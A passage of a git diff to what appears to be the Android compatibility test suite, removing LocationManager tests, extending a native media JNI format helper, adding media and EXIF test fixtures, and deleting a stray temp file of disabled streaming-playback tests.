- location.setTime(java.lang.System.currentTimeMillis());
- location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
- mManager.setTestProviderLocation(providerName, location);
- Thread.sleep(200);
- long clockms = SystemClock.currentGnssTimeClock().millis();
- assertTrue(System.currentTimeMillis() - clockms < 1000);
- } finally {
- removeTestProvider(providerName);
- }
- }
-
-
- private void doTestGetLocationUpdates_withIntent(String providerName) {
- try {
- addTestProvider(providerName, Criteria.ACCURACY_COARSE, true, false, true);
- registerIntentReceiver();
-
- mManager.requestLocationUpdates(providerName, 0, 0, mPendingIntent);
- updateLocation(providerName, LAT, LNG);
- waitForReceiveBroadcast();
-
- assertNotNull(mIntentReceiver.getLastReceivedIntent());
- final Location location = mManager.getLastKnownLocation(providerName);
- assertEquals(providerName, location.getProvider());
-
- assertEquals(3000.0f, location.getAccuracy());
- assertEquals(LAT, location.getLatitude(), FUDGER_DELTA);
- assertEquals(LNG, location.getLongitude(), FUDGER_DELTA);
-
- mManager.removeUpdates(mPendingIntent);
- } finally {
- removeTestProvider(providerName);
- }
- }
-
- private void doTestGetLocationUpdates_withListener(String providerName) {
- try {
- addTestProvider(providerName, Criteria.ACCURACY_COARSE, true, false, true);
-
- MockLocationListener listener = new MockLocationListener();
- HandlerThread handlerThread = new HandlerThread("testLocationUpdates for "
- + providerName);
- handlerThread.start();
-
- mManager.requestLocationUpdates(
- providerName, 0, 0, listener, handlerThread.getLooper());
- updateLocation(providerName, LAT, LNG);
-
- assertTrue(listener.hasCalledOnLocationChanged(TEST_TIME_OUT_MS));
- Location location = listener.getLocation();
- assertEquals(providerName, location.getProvider());
-
- assertEquals(3000.0f, location.getAccuracy());
- assertEquals(LAT, location.getLatitude(), FUDGER_DELTA);
- assertEquals(LNG, location.getLongitude(), FUDGER_DELTA);
-
- mManager.removeUpdates(listener);
- } finally {
- removeTestProvider(providerName);
- }
- }
-
- /**
- * Helper method to add a test provider with given name.
- */
- private void addTestProvider(final String providerName, int accuracy, boolean requiresNetwork,
- boolean requiresSatellite, boolean requiresCell) {
- mManager.addTestProvider(providerName,
- requiresNetwork,
- requiresSatellite,
- requiresCell,
- false, // hasMonetaryCost,
- false, // supportsAltitude,
- false, // supportsSpeed,
- false, // supportsBearing,
- Criteria.POWER_MEDIUM, // powerRequirement
- accuracy); // accuracy
- mManager.setTestProviderEnabled(providerName, true);
- }
-
- public void testGetProviders() {
- List<String> providers = mManager.getProviders(false);
-
- assertFalse(hasProvider(providers, LocationManager.PASSIVE_PROVIDER));
- assertFalse(hasProvider(providers, LocationManager.GPS_PROVIDER));
- }
-
- private boolean hasProvider(List<String> providers, String providerName) {
- for (String provider : providers) {
- if (provider != null && provider.equals(providerName)) {
- return true;
- }
- }
- return false;
- }
-
- @AppModeFull
- public void testSendExtraCommand() {
- addTestProvider(LocationManager.NETWORK_PROVIDER, Criteria.ACCURACY_COARSE, true, false, true);
- addTestProvider(LocationManager.GPS_PROVIDER, Criteria.ACCURACY_FINE, false, true, false);
-
- try {
- mManager.sendExtraCommand(LocationManager.GPS_PROVIDER, "unknown", new Bundle());
- fail("Should have failed to send a command to the gps provider");
- } catch (SecurityException expected) {
- } finally {
- removeTestProvider(LocationManager.GPS_PROVIDER);
- removeTestProvider(LocationManager.NETWORK_PROVIDER);
- }
- }
-
- private void registerIntentReceiver() {
- String intentKey = "LocationManagerTest";
- Intent proximityIntent = new Intent(intentKey);
- mPendingIntent = PendingIntent.getBroadcast(mContext, 0, proximityIntent,
- PendingIntent.FLAG_CANCEL_CURRENT);
- mIntentReceiver = new TestIntentReceiver(intentKey);
- mContext.registerReceiver(mIntentReceiver, mIntentReceiver.getFilter());
- }
-
- /**
- * Blocks until receive intent notification or time out.
- */
- private void waitForReceiveBroadcast() {
- synchronized (mIntentReceiver) {
- try {
- mIntentReceiver.wait(TEST_TIME_OUT_MS);
- } catch (InterruptedException e) {
- fail("Interrupted while waiting for intent: " + e);
- }
- }
- }
-
- private void updateLocation(final String providerName, final double latitude,
- final double longitude) {
- Location nlocation = new Location(providerName);
- nlocation.setLatitude(latitude);
- nlocation.setLongitude(longitude);
- nlocation.setAccuracy(3000.0f);
- nlocation.setTime(java.lang.System.currentTimeMillis());
- nlocation.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
-
- Location location = new Location(providerName);
- location.setLatitude(latitude);
- location.setLongitude(longitude);
- location.setAccuracy(1.0f);
- location.setTime(java.lang.System.currentTimeMillis());
- location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
-
- location.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, nlocation);
-
- mManager.setTestProviderLocation(providerName, location);
- }
-
- private void setAsMoskLocationProvider(boolean enable) {
- StringBuilder command = new StringBuilder();
- command.append("appops set ");
- command.append(getInstrumentation().getContext().getPackageName());
- command.append(" android:mock_location ");
- command.append(enable ? "allow" : "deny");
-
- ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
- .executeShellCommand(command.toString());
-
- InputStream is = new FileInputStream(pfd.getFileDescriptor());
- try {
- final byte[] buffer = new byte[8192];
- while ((is.read(buffer)) != -1);
- } catch (IOException e) {
- Log.e(LOG_TAG, "Error managing mock locaiton app", e);
- }
- }
-
- /**
- * Helper class that receives a proximity intent and notifies the main class
- * when received
- */
- private static class TestIntentReceiver extends BroadcastReceiver {
- private String mExpectedAction;
-
- private Intent mLastReceivedIntent;
-
- public TestIntentReceiver(String expectedAction) {
- mExpectedAction = expectedAction;
- mLastReceivedIntent = null;
- }
-
- public IntentFilter getFilter() {
- IntentFilter filter = new IntentFilter(mExpectedAction);
- return filter;
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent != null && mExpectedAction.equals(intent.getAction())) {
- synchronized (this) {
- mLastReceivedIntent = intent;
- notify();
- }
- }
- }
-
- public Intent getLastReceivedIntent() {
- return mLastReceivedIntent;
- }
-
- public void clearReceivedIntents() {
- mLastReceivedIntent = null;
- }
- }
-
- private static class MockLocationListener implements LocationListener {
- private String mProvider;
- private int mStatus;
- private Location mLocation;
- private Object mStatusLock = new Object();
- private Object mLocationLock = new Object();
- private Object mLocationRequestLock = new Object();
-
- private boolean mHasCalledOnLocationChanged;
-
- private boolean mHasCalledOnProviderDisabled;
-
- private boolean mHasCalledOnProviderEnabled;
-
- private boolean mHasCalledOnStatusChanged;
-
- private boolean mHasCalledRequestLocation;
-
- public void reset(){
- mHasCalledOnLocationChanged = false;
- mHasCalledOnProviderDisabled = false;
- mHasCalledOnProviderEnabled = false;
- mHasCalledOnStatusChanged = false;
- mHasCalledRequestLocation = false;
- mProvider = null;
- mStatus = 0;
- }
-
- /**
- * Call to inform listener that location has been updates have been requested
- */
- public void setLocationRequested() {
- synchronized (mLocationRequestLock) {
- mHasCalledRequestLocation = true;
- mLocationRequestLock.notify();
- }
- }
-
- public boolean hasCalledLocationRequested(long timeout) throws InterruptedException {
- synchronized (mLocationRequestLock) {
- if (timeout > 0 && !mHasCalledRequestLocation) {
- mLocationRequestLock.wait(timeout);
- }
- }
- return mHasCalledRequestLocation;
- }
-
- /**
- * Check whether onLocationChanged() has been called. Wait up to timeout milliseconds
- * for the callback.
- * @param timeout Maximum time to wait for the callback, 0 to return immediately.
- */
- public boolean hasCalledOnLocationChanged(long timeout) {
- synchronized (mLocationLock) {
- if (timeout > 0 && !mHasCalledOnLocationChanged) {
- try {
- mLocationLock.wait(timeout);
- } catch (InterruptedException e) {
- fail("Interrupted while waiting for location change: " + e);
- }
- }
- }
- return mHasCalledOnLocationChanged;
- }
-
- public boolean hasCalledOnProviderDisabled() {
- return mHasCalledOnProviderDisabled;
- }
-
- public boolean hasCalledOnProviderEnabled() {
- return mHasCalledOnProviderEnabled;
- }
-
- public boolean hasCalledOnStatusChanged(long timeout) throws InterruptedException {
- synchronized(mStatusLock) {
- // wait(0) would wait forever
- if (timeout > 0 && !mHasCalledOnStatusChanged) {
- mStatusLock.wait(timeout);
- }
- }
- return mHasCalledOnStatusChanged;
- }
-
- public void onLocationChanged(Location location) {
- mLocation = location;
- synchronized (mLocationLock) {
- mHasCalledOnLocationChanged = true;
- mLocationLock.notify();
- }
- }
-
- public void onProviderDisabled(String provider) {
- mHasCalledOnProviderDisabled = true;
- }
-
- public void onProviderEnabled(String provider) {
- mHasCalledOnProviderEnabled = true;
- }
-
- public void onStatusChanged(String provider, int status, Bundle extras) {
- mProvider = provider;
- mStatus = status;
- synchronized (mStatusLock) {
- mHasCalledOnStatusChanged = true;
- mStatusLock.notify();
- }
- }
-
- public String getProvider() {
- return mProvider;
- }
-
- public int getStatus() {
- return mStatus;
- }
-
- public Location getLocation() {
- return mLocation;
- }
- }
-}
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 9a2a9df..15ba825 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -1061,7 +1061,9 @@
jint frameRate,
jint iFrameInterval,
jobject csd,
- jint flags) {
+ jint flags,
+ jint lowLatency,
+ jobject surface) {
AMediaFormat* format = AMediaFormat_new();
if (format == NULL) {
@@ -1083,10 +1085,11 @@
AMEDIAFORMAT_KEY_COLOR_FORMAT,
AMEDIAFORMAT_KEY_BIT_RATE,
AMEDIAFORMAT_KEY_FRAME_RATE,
- AMEDIAFORMAT_KEY_I_FRAME_INTERVAL
+ AMEDIAFORMAT_KEY_I_FRAME_INTERVAL,
+ AMEDIAFORMAT_KEY_LOW_LATENCY
};
- jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval};
+ jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval, lowLatency};
for (size_t i = 0; i < sizeof(values) / sizeof(values[0]); i++) {
if (values[i] >= 0) {
AMediaFormat_setInt32(format, keys[i], values[i]);
@@ -1102,7 +1105,7 @@
media_status_t err = AMediaCodec_configure(
reinterpret_cast<AMediaCodec *>(codec),
format,
- NULL,
+ surface == NULL ? NULL : ANativeWindow_fromSurface(env, surface),
NULL,
flags);
diff --git a/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps.trp b/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps.trp
deleted file mode 100644
index e39e5c4..0000000
--- a/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps.trp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts b/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts
new file mode 100644
index 0000000..4b4da9f
--- /dev/null
+++ b/tests/tests/media/res/raw/MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts
Binary files differ
diff --git a/tests/tests/media/res/raw/png_with_exif_byte_order_ii.png b/tests/tests/media/res/raw/png_with_exif_byte_order_ii.png
new file mode 100644
index 0000000..082de21
--- /dev/null
+++ b/tests/tests/media/res/raw/png_with_exif_byte_order_ii.png
Binary files differ
diff --git a/tests/tests/media/res/raw/png_without_exif.png b/tests/tests/media/res/raw/png_without_exif.png
new file mode 100644
index 0000000..f3defab
--- /dev/null
+++ b/tests/tests/media/res/raw/png_without_exif.png
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepwav24.wav b/tests/tests/media/res/raw/sinesweepwav24.wav
new file mode 100644
index 0000000..2657b5c
--- /dev/null
+++ b/tests/tests/media/res/raw/sinesweepwav24.wav
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10.mp4 b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10.mp4
new file mode 100644
index 0000000..aa0f7b2
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4 b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
new file mode 100644
index 0000000..38e791f
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
new file mode 100644
index 0000000..73a7309
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
new file mode 100644
index 0000000..7c6a927
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
new file mode 100644
index 0000000..684ba40
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
new file mode 100644
index 0000000..921a58f
--- /dev/null
+++ b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/webp_with_exif.webp b/tests/tests/media/res/raw/webp_with_exif.webp
new file mode 100644
index 0000000..20706bb
--- /dev/null
+++ b/tests/tests/media/res/raw/webp_with_exif.webp
Binary files differ
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index 3fe06b0..1fcd987 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -16,12 +16,14 @@
<resources>
<array name="exifbyteorderii_jpg">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>3500</item>
<item>6265</item>
<item>512</item>
<item>288</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -57,13 +59,59 @@
<item />
<item />
</array>
+ <array name="exifbyteorderii_standalone">
+ <!--Whether thumbnail exists-->
+ <item>true</item>
+ <item>3494</item>
+ <item>6265</item>
+ <item>512</item>
+ <item>288</item>
+ <item>true</item>
+ <!--Whether GPS LatLong information exists-->
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <!--Whether Make information exists-->
+ <item>true</item>
+ <item>154</item>
+ <item>8</item>
+ <item>SAMSUNG</item>
+ <item>SM-N900S</item>
+ <item>2.200</item>
+ <item>2016:01:29 18:32:27</item>
+ <item>0.033</item>
+ <item>0</item>
+ <item>413/100</item>
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item>480</item>
+ <item>640</item>
+ <item>50</item>
+ <item>6</item>
+ <item>0</item>
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ </array>
<array name="exifbyteordermm_jpg">
+ <!--Whether thumbnail exists-->
<item>false</item>
<item />
<item />
<item>0</item>
<item>0</item>
<item>false</item>
+ <!--Whether GPS LatLong information exists-->
<item>true</item>
<item>584</item>
<item>24</item>
@@ -99,13 +147,59 @@
<item />
<item />
</array>
+ <array name="exifbyteordermm_standalone">
+ <!--Whether thumbnail exists-->
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ <item>0</item>
+ <item>0</item>
+ <item>false</item>
+ <!--Whether GPS LatLong information exists-->
+ <item>true</item>
+ <item>578</item>
+ <item>24</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <!--Whether Make information exists-->
+ <item>true</item>
+ <item>408</item>
+ <item>4</item>
+ <item>LGE</item>
+ <item>Nexus 5</item>
+ <item>2.400</item>
+ <item>2016:01:29 15:44:58</item>
+ <item>0.017</item>
+ <item>0</item>
+ <item>3970/1000</item>
+ <item>0/1000</item>
+ <item>0</item>
+ <item>1970:01:01</item>
+ <item>0/1,0/1,0/10000</item>
+ <item>N</item>
+ <item>0/1,0/1,0/10000</item>
+ <item>E</item>
+ <item>GPS</item>
+ <item>00:00:00</item>
+ <item>0</item>
+ <item>0</item>
+ <item>146</item>
+ <item>0</item>
+ <item>0</item>
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ </array>
<array name="lg_g4_iso_800_dng">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>12570</item>
<item>15179</item>
<item>256</item>
<item>144</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>true</item>
<item>12486</item>
<item>24</item>
@@ -142,12 +236,14 @@
<item>10067</item>
</array>
<array name="lg_g4_iso_800_jpg">
+ <!--Whether thumbnail exists-->
<item>false</item>
<item />
<item />
<item />
<item />
<item />
+ <!--Whether GPS LatLong information exists-->
<item>true</item>
<item>1692</item>
<item>24</item>
@@ -184,12 +280,14 @@
<item>13197</item>
</array>
<array name="volantis_jpg">
+ <!--Whether thumbnail exists-->
<item>false</item>
<item />
<item />
<item />
<item />
<item />
+ <!--Whether GPS LatLong information exists-->
<item>true</item>
<item>3155</item>
<item>24</item>
@@ -226,12 +324,14 @@
<item />
</array>
<array name="sony_rx_100_arw">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>32176</item>
<item>7423</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -268,12 +368,14 @@
<item />
</array>
<array name="canon_g7x_cr2">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>22528</item>
<item>14161</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -310,12 +412,14 @@
<item>8192</item>
</array>
<array name="fuji_x20_raf">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>2080</item>
<item>9352</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -352,12 +456,14 @@
<item />
</array>
<array name="nikon_1aw1_nef">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>963072</item>
<item>57600</item>
<item>160</item>
<item>120</item>
<item>false</item>
+ <!--Whether GPS LatLong information exists-->
<item>true</item>
<item>962700</item>
<item>24</item>
@@ -394,12 +500,14 @@
<item>2048</item>
</array>
<array name="nikon_p330_nrw">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>32791</item>
<item>4875</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>true</item>
<item>1620</item>
<item>24</item>
@@ -436,12 +544,14 @@
<item />
</array>
<array name="pentax_k5_pef">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>103520</item>
<item>6532</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -478,12 +588,14 @@
<item />
</array>
<array name="olympus_e_pl3_orf">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>19264</item>
<item>3698</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -520,12 +632,14 @@
<item />
</array>
<array name="panasonic_gm5_rw2">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>18944</item>
<item>6435</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -562,12 +676,14 @@
<item />
</array>
<array name="samsung_nx3000_srw">
+ <!--Whether thumbnail exists-->
<item>true</item>
<item>317560</item>
<item>3059</item>
<item>160</item>
<item>120</item>
<item>true</item>
+ <!--Whether GPS LatLong information exists-->
<item>false</item>
<item />
<item />
@@ -603,4 +719,92 @@
<item />
<item />
</array>
+ <array name="exifbyteorderii_png">
+ <!--Whether thumbnail exists-->
+ <item>true</item>
+ <item>212271</item>
+ <item>6265</item>
+ <item>512</item>
+ <item>288</item>
+ <item>true</item>
+ <!--Whether GPS LatLong information exists-->
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <!--Whether Make information exists-->
+ <item>true</item>
+ <item>211525</item>
+ <item>8</item>
+ <item>SAMSUNG</item>
+ <item>SM-N900S</item>
+ <item>2.200</item>
+ <item>2016:01:29 18:32:27</item>
+ <item>0.033</item>
+ <item>0</item>
+ <item>41/10</item>
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item>480</item>
+ <item>640</item>
+ <item>50</item>
+ <item>6</item>
+ <item>0</item>
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ </array>
+ <array name="exifbyteorderii_webp">
+ <!--Whether thumbnail exists-->
+ <item>true</item>
+ <item>9646</item>
+ <item>6265</item>
+ <item>512</item>
+ <item>288</item>
+ <item>true</item>
+ <!--Whether GPS LatLong information exists-->
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <item>0.0</item>
+ <!--Whether Make information exists-->
+ <item>true</item>
+ <item>6306</item>
+ <item>8</item>
+ <item>SAMSUNG</item>
+ <item>SM-N900S</item>
+ <item>2.200</item>
+ <item>2016:01:29 18:32:27</item>
+ <item>0.033</item>
+ <item>0</item>
+ <item>413/100</item>
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item />
+ <item>480</item>
+ <item>640</item>
+ <item>50</item>
+ <item>6</item>
+ <item>0</item>
+ <item>false</item>
+ <item>0</item>
+ <item>0</item>
+ </array>
</resources>
diff --git a/tests/tests/media/src/android/media/cts/.goutputstream-9KZYJZ b/tests/tests/media/src/android/media/cts/.goutputstream-9KZYJZ
deleted file mode 100644
index c1769ac..0000000
--- a/tests/tests/media/src/android/media/cts/.goutputstream-9KZYJZ
+++ /dev/null
@@ -1,814 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.BufferingParams;
-import android.media.DataSourceDesc;
-import android.media.MediaFormat;
-import android.media.MediaPlayer2;
-import android.media.MediaPlayer2.TrackInfo;
-import android.media.TimedMetaData;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Looper;
-import android.os.PowerManager;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestRunner;
-import android.util.Log;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.net.HttpCookie;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.HashMap;
-import java.util.List;
-
-/**
- * Tests of MediaPlayer2 streaming capabilities.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class StreamingMediaPlayer2Test extends MediaPlayer2TestBase {
- // TODO: remove this flag to enable tests.
- private static final boolean IGNORE_TESTS = true;
-
- private static final String TAG = "StreamingMediaPlayer2Test";
-
- private static final String HTTP_H263_AMR_VIDEO_1_KEY =
- "streaming_media_player_test_http_h263_amr_video1";
- private static final String HTTP_H263_AMR_VIDEO_2_KEY =
- "streaming_media_player_test_http_h263_amr_video2";
- private static final String HTTP_H264_BASE_AAC_VIDEO_1_KEY =
- "streaming_media_player_test_http_h264_base_aac_video1";
- private static final String HTTP_H264_BASE_AAC_VIDEO_2_KEY =
- "streaming_media_player_test_http_h264_base_aac_video2";
- private static final String HTTP_MPEG4_SP_AAC_VIDEO_1_KEY =
- "streaming_media_player_test_http_mpeg4_sp_aac_video1";
- private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
- "streaming_media_player_test_http_mpeg4_sp_aac_video2";
- private static final String MODULE_NAME = "CtsMediaTestCases";
- private DynamicConfigDeviceSide dynamicConfig;
-
- private CtsTestServer mServer;
-
- private String mInputUrl;
-
- @Override
- protected void setUp() throws Exception {
- // if launched with InstrumentationTestRunner to pass a command line argument
- if (getInstrumentation() instanceof InstrumentationTestRunner) {
- InstrumentationTestRunner testRunner =
- (InstrumentationTestRunner)getInstrumentation();
-
- Bundle arguments = testRunner.getArguments();
- mInputUrl = arguments.getString("url");
- Log.v(TAG, "setUp: arguments: " + arguments);
- if (mInputUrl != null) {
- Log.v(TAG, "setUp: arguments[url] " + mInputUrl);
- }
- }
-
- super.setUp();
- dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
- }
-
-/* RTSP tests are more flaky and vulnerable to network condition.
- Disable until better solution is available
- // Streaming RTSP video from YouTube
- public void testRTSP_H263_AMR_Video1() throws Exception {
- playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
- + "&fmt=13&user=android-device-test", 176, 144);
- }
- public void testRTSP_H263_AMR_Video2() throws Exception {
- playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
- + "&fmt=13&user=android-device-test", 176, 144);
- }
-
- public void testRTSP_MPEG4SP_AAC_Video1() throws Exception {
- playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
- + "&fmt=17&user=android-device-test", 176, 144);
- }
- public void testRTSP_MPEG4SP_AAC_Video2() throws Exception {
- playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
- + "&fmt=17&user=android-device-test", 176, 144);
- }
-
- public void testRTSP_H264Base_AAC_Video1() throws Exception {
- playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0x271de9756065677e"
- + "&fmt=18&user=android-device-test", 480, 270);
- }
- public void testRTSP_H264Base_AAC_Video2() throws Exception {
- playVideoTest("rtsp://v2.cache7.c.youtube.com/video.3gp?cid=0xc80658495af60617"
- + "&fmt=18&user=android-device-test", 480, 270);
- }
-*/
- // Streaming HTTP video from YouTube
- public void testHTTP_H263_AMR_Video1() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
- MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
- return; // skip
- }
-
- String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_1_KEY);
- playVideoTest(urlString, 176, 144);
- }
-
- public void testHTTP_H263_AMR_Video2() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_H263,
- MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
- return; // skip
- }
-
- String urlString = dynamicConfig.getValue(HTTP_H263_AMR_VIDEO_2_KEY);
- playVideoTest(urlString, 176, 144);
- }
-
- public void testHTTP_MPEG4SP_AAC_Video1() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
- return; // skip
- }
-
- String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_1_KEY);
- playVideoTest(urlString, 176, 144);
- }
-
- public void testHTTP_MPEG4SP_AAC_Video2() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_MPEG4)) {
- return; // skip
- }
-
- String urlString = dynamicConfig.getValue(HTTP_MPEG4_SP_AAC_VIDEO_2_KEY);
- playVideoTest(urlString, 176, 144);
- }
-
- public void testHTTP_H264Base_AAC_Video1() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
-
- String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_1_KEY);
- playVideoTest(urlString, 640, 360);
- }
-
- public void testHTTP_H264Base_AAC_Video2() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
-
- String urlString = dynamicConfig.getValue(HTTP_H264_BASE_AAC_VIDEO_2_KEY);
- playVideoTest(urlString, 640, 360);
- }
-
- // Streaming HLS video from YouTube
- public void testHLS() throws Exception {
- if (IGNORE_TESTS) {
- return;
- }
- if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
- return; // skip
- }
-
- // Play stream for 60 seconds
- playLiveVideoTest("http://www.youtube.com/api/manifest/hls_variant/id/"
- + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
- + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
- + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
- + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
- + "0/key/ik0/file/m3u8", 60 * 1000);
- }
-
